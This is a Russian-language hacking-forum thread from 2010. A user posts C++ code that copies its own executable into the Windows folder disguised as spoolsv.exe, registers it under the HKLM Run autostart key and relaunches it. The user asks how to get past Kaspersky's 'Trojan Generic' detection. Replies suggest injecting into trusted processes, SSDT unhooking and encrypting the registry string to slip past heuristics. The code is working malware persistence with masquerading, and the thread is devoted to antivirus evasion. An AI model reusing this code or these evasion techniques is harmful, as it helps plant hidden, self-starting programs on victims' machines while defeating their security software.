Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Как спопировать файл С++ с обходом kAV (https://forum.antichat.xyz/showthread.php?t=180956)

agrofyl2 22.02.2010 13:09

Как спопировать файл С++ с обходом kAV
 
Пытаюсь скопировать файлик в папку винды, прописать его в реестр и запустить
Код:


void OnStart() {
  //Получаем путь к своей программе
  wchar_t path[1025]=L"";
  GetModuleFileNameW(NULL, path, 1024);
 
  //Получаем путь для копирования
  wchar_t copy2path[1025]=L"";
  GetWindowsDirectoryW(copy2path, 1024);
  wcscat(copy2path, L"\\spoolsv.exe");
 
  //Сравниваем пути
  if(wcsicmp(path, copy2path)==0) return;
 
  //Либо 1) Еще не скопированы в систему
  //2) Скопированы, но запущено вторично из др. источника
       
  //Если не удалось скопироваться - значит уже скопированы/неудачно скопированы - выходим
  if(!CopyFileW(path, copy2path, 1)) {
    MessageBox(0, "Cant copy", "", 0);
    exit(0);
  }

  //Если скопированы удачно - добавляемся в реестр
  else {
    HKEY key;//Add In Autorun
    DWORD action;
    if(ERROR_SUCCESS==RegCreateKeyEx(HKEY_LOCAL_MACHINE, __T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, NULL,  REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, &action))
    {
      RegSetValueExW(key, L"spoolsv", 0, REG_SZ, (LPBYTE)copy2path, lstrlenW(copy2path)*2+1);
      RegCloseKey(key);       
     
      //Добавлено удачно - запускаем программу, а сами выходим
      char forexec[1025]="";
      wcstombs(forexec, copy2path, 1024);
     
      STARTUPINFO si; PROCESS_INFORMATION pi; GetStartupInfo(&si);
     
      if(!CreateProcess(forexec, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
      WinExec(forexec, 0);
      exit(0);
    }
    exit(0);
  }
}

Но касперский пишет: "поведение, похожее на Trojan Generic"
Файл скопирован и добавлен в реестр(непонятно почему), но повторно не запускается(до CreateProcess выполнение не доходит)
Методом исключения было установлено, что антивирус реагирует на строчку CopyFileW

В принципе пишу программу-шутку и универсальность не нужна. Скопировать файл через коммандную строку чтоли?

Hiro Protagonist 22.02.2010 17:11

плять, проактивка же работает. Ищи возможность внедрения в доверенные процессы и уже из них копируй.

slesh 22.02.2010 20:03

Тут побольшей части ругается не на копирование, а на прописание в реестре в секции автозагрузки. И от этого тяжко уйти, если не знаешь приват методов )

crypt0n 22.02.2010 21:11

ssdt unhook ( NtCreateFile) ?

0verbreaK 23.02.2010 00:49

>>ssdt unhook ( NtCreateFile) ?

Какбэ помягче выразится - чушь предлагаете!

desTiny 23.02.2010 02:09

Цитата:

Сообщение от slesh
Тут побольшей части ругается не на копирование, а на прописание в реестре в секции автозагрузки. И от этого тяжко уйти, если не знаешь приват методов )

вот хитронод ругается на копирование в виндопапку.
Притом он реально различает кодесы, отличающиеся в
Код:

ExpandEnvironmentStrings("%windir%",b, 255); // длины хватает, опасный код детектед!!
и
Код:

ExpandEnvironmentStrings("%windir%",b, 1); // длины не хватает, код безопасен
, и смешно подвисает на бесконечных циклах :)

Приват-не приват - достаточно очевидные способы есть, но вот почему-то рассказывать их не хочется.

Fliplab 24.02.2010 02:17

Поробуй шифровать ключ реестра и где надо расшифровывай.


Время: 23:01